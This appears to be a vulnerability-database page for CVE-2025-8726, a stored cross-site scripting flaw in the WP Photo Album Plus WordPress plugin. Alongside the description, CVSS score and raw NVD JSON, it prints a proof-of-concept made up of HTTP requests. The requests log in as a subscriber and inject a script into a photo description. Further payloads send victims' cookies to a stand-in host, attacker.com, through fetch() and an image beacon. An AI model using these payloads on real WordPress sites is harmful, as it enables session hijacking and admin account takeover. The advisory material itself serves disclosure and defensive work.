Security Vulnerability Report
中文
CVE-2025-8726 CVSS 5.4 MEDIUM

CVE-2025-8726

Published: 2025-10-04 03:15:38
Last Modified: 2026-04-15 00:35:42

Description

The WP Photo Album Plus plugin for WordPress is vulnerable to Cross-Site Scripting in all versions up to, and including, 9.0.11.006 due to insufficient input sanitization and output escaping in the wppa_user_upload function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in the photo album descriptions that execute in a victim's browser.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Photo Album Plus < 9.0.11.006

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-8726: WP Photo Album Plus Stored XSS Vulnerable function: wppa_user_upload Affected versions: <= 9.0.11.006 Required privilege: Subscriber or above --> <!-- Step 1: Login as Subscriber-level user --> POST /wp-login.php HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded log=attacker_user&pwd=attacker_pass&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1 <!-- Step 2: Upload a photo with malicious album description containing XSS payload --> <!-- The malicious payload is injected into the photo album description field --> POST /wp-admin/admin.php?page=wppa_upload HTTP/1.1 Host: target-wordpress-site.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Cookie: wordpress_logged_in_xxx=xxx ------WebKitFormBoundary Content-Disposition: form-data; name="wppa-photo-desc" <img src=x onerror=alert(document.cookie)> ------WebKitFormBoundary Content-Disposition: form-data; name="wppa-album-id" 1 ------WebKitFormBoundary Content-Disposition: form-data; name="wppa-photo-file"; filename="test.jpg" Content-Type: image/jpeg [binary image data] ------WebKitFormBoundary-- <!-- Step 3: When any user (especially admin) views the photo album page, --> <!-- the injected JavaScript executes in their browser context --> GET /wp-admin/admin.php?page=wppa-admin&tab=edit&photo-id=XXX HTTP/1.1 Host: target-wordpress-site.com <!-- More sophisticated payload for stealing admin cookies/sessions --> <script> fetch('https://attacker.com/steal?cookie='+document.cookie+'&url='+document.location.href); </script> <!-- Or using img onerror event handler --> <img src=x onerror="var i=new Image();i.src='https://attacker.com/x?c='+document.cookie;">

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8726", "sourceIdentifier": "[email protected]", "published": "2025-10-04T03:15:38.123", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Photo Album Plus plugin for WordPress is vulnerable to Cross-Site Scripting in all versions up to, and including, 9.0.11.006 due to insufficient input sanitization and output escaping in the wppa_user_upload function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in the photo album descriptions that execute in a victim's browser."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-photo-album-plus/tags/9.0.09.003/wppa-functions.php#L4977", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3349261/wp-photo-album-plus", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/575b11a3-9fa4-4ee0-8f19-7d53e6c1785f?source=cve", "source": "[email protected]"}]}}